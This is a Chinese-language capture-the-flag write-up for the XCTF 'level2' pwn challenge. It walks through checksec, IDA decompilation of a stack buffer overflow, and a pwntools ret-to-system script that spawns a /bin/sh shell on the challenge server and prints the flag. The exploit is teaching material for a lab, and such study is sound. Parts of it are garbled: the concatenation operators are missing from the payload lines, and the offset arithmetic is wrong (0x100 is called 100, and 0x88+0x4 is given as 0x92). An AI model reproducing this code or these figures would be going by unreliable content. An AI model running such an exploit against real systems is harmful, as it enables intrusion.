文章目录
- 一、level2
- 二、答题步骤
- 1.获取在线场景
- 2.查壳
- 3.IDA
- 总结
一、level2
题目链接:https://adworld.xctf.org.cn/task/task_list?type=pwn&number=2&grade=0
二、答题步骤
1.获取在线场景
2.查壳
对下载文件进行查壳,命令如下
代码语言:javascript复制file level2
checksec --file=level2
分析文件,小端程序(LSB),栈不可执行。
3.IDA
使用IDA对文件进行反汇编
第一步:首先找到main函数
查看main函数,发现没有能够注入的地方。但是vulnerable_function格外醒目
代码语言:javascript复制int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}
第二步:进入vulnerable_function函数
进入vulnerable_function,发现有一个_read函数,且存在溢出风险。
代码语言:javascript复制ssize_t vulnerable_function()
{
char buf[136]; // [esp 0h] [ebp-88h] BYREF
system("echo Input:");
return read(0, buf, 0x100u);
}
函数return了一个 read(0, &buf, 0x100u);也就是回了一个read操作,大小为0x100u也就是100个空间,但是不知道100空间具体大小,因此双击进入变量&buf查看
- 0000000000000088 - 0000000000000000个地址(注意是16进制),也就是0x88个地址,这是buf到s的。
- 0000000000000004 - 0000000000000000个地址,也就是0x04个地址,这是从s到r的
两者相加,一共0x92个地址,把这些个地址用字符堵死,后续就能伪造执行的read
第三步:bin/sh利用
发现bin/sh的利用函数
完整地址是:000000000804A024 ,这里其实只取后八位就可以:0804A024,也就是0x0804A024
用脚本把前面0x92个空间打死然后把这个函数地址用p32(0x0804A024)拼接上,就可以让read拿到我们的bin/sh权限了。
用法:payload = 'a' * (offset 4) sys_addr ret_add sh_addr
from pwn import *
context.log_level = 'debug'
sh = remote('111.200.241.244',53816)
elf = ELF('./level2')
system_addr = elf.symbols['system'] #system的起始地址
#binsh_addr = elf.search('/bin/sh').__next__()#bin的起始地址0x0804A024
binsh_addr =0x0804A024
payload = 'a'*0x88 'a'*0x4 p32(system_addr).decode('unicode_escape') p32(0).decode('unicode_escape') p32(binsh_addr).decode('unicode_escape')
sh.sendlineafter('Input:',payload)
sh.interactive()
kali执行脚本
运行得到flag:cyberpeace{173d78ae91aabb903769ef7f490292ca}
总结
- p32用于解析32位地址
- IDA
- checksec